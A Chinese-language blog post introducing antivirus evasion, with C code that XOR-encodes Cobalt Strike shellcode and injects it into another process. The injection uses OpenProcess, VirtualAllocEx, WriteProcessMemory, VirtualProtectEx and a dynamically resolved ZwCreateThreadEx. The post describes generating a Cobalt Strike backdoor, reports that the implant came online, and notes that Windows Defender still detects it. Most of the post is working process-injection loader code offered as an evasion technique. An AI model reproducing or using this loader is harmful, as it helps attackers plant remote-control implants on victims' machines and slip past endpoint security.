免殺初探

Punished發表於2021-04-20

免殺大家應該都不陌生,今天初探一下

免殺思路

通過cs生成shellcode,不過現在各大廠商對於出名的shellcode:如cs,msf這些基本上達到了見光就死的程度,我這裡簡單的加密一下,然後通過API載入到一個程式中,並且執行,我首先希望的是有一個靜態免殺效果。

環境準備

vs2019  win10  整個過程在無任何殺軟環境中進行

加密函式

這裡是我隨便找了個數將shellcode進行異或

int main()
{
    /* length: 798 bytes */
    int dwSize = sizeof(buf);
    char* newBuf = (char*)malloc(dwSize);
    memset(newBuf, 0, dwSize);
    Sleep(10000);
    for (int i = 0; i < dwSize; i++)
    {
        newBuf[i] = buf[i] ^ 0x12;
        printf("\\x%1x", (unsigned char)newBuf[i]);
    }
    
}

載入器

載入前先解密

int shellcode_size = sizeof(buf);
for (int i = 0; i < shellcode_size; i++)
    {
        newBuf[i] = buf[i] ^ 0x12;
    }

獲取程式控制程式碼

HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, false, 17864);

在目標程式空間申請空間

這裡用的是VirtualAllocEx,因為這個API很敏感,我們先控制屬性位可讀可寫,後面再更改屬性位可執行

LPVOID Memory = VirtualAllocEx(hHandle, NULL, sizeof(newBuf)+1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

寫入shellcode到程式空間

DWORD dwSize = 0;    
WriteProcessMemory(hHandle,Memory, newBuf, shellcode_size, &dwSize);

更改屬性

使用VirtualProtectEx更改屬性位可執行

VirtualProtectEx(hHandle,Memory, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

動態載入建立執行緒函式

ZwCreateThreadEx這個函式我已經在之前一篇部落格介紹過https://www.cnblogs.com/punished/p/14668260.html,更換一些常見的API總是要好一下

 1 HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
 2     if (hNtdll == NULL)
 3     {
 4         printf("[!] LoadNTdll Error,Error is:%d\n", GetLastError());
 5         return FALSE;
 6     }
 7     else
 8     {
 9         printf("[*] Load ntdll.dll Successfully!\n");
10     }
11 #ifdef _WIN64
12     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
13         PHANDLE ThreadHandle,
14         ACCESS_MASK DesiredAccess,
15         LPVOID ObjectAttributes,
16         HANDLE ProcessHandle,
17         LPTHREAD_START_ROUTINE lpStartAddress,
18         LPVOID lpParameter,
19         ULONG CreateThreadFlags,
20         SIZE_T ZeroBits,
21         SIZE_T StackSize,
22         SIZE_T MaximumStackSize,
23         LPVOID pUnkown
24         );
25 #else
26     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
27         PHANDLE ThreadHandle,
28         ACCESS_MASK DesiredAccess,
29         LPVOID ObjectAttributes,
30         HANDLE ProcessHandle,
31         LPTHREAD_START_ROUTINE lpStartAddress,
32         LPVOID lpParameter,
33         BOOL CreateSuspended,
34         DWORD dwStackSize,
35         DWORD dw1,
36         DWORD dw2,
37         LPVOID pUnkown
38         );
39 #endif 
40     typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
41     ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");

建立執行緒

建立執行緒等待執行

HANDLE hRemoteThread;
DWORD ZwRet = 0;
ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hHandle,
    (LPTHREAD_START_ROUTINE)Memory, NULL, 0, 0, 0, 0, NULL);
WaitForSingleObject(hRemoteThread, INFINITE);

ShellCode生成

先進入cs,選擇攻擊,生成後門,語言型後門

 

 選好監聽器,點選生成,儲存到你想要的路徑就可以了

 

開始載入

先把我們生成的shellcode加密

 

 然後將加密後的shellcode放到我們的載入器中,這裡隨便找個程式

我們執行載入器試試

 

 成功上線了,說明我們的程式碼沒有問題,看看免殺效果

 

 

 

 可能感覺還不錯,但是非常的遺憾,這個exe連windows defender都過不了,甚至無法靜態免殺!不過應該是我的加密演算法太弱。

後續我會寫關於如何繞過一些殺軟的文章,也許會寫一些指令碼,大家可以關注我的GitHub https://github.com/SD-XD

相關文章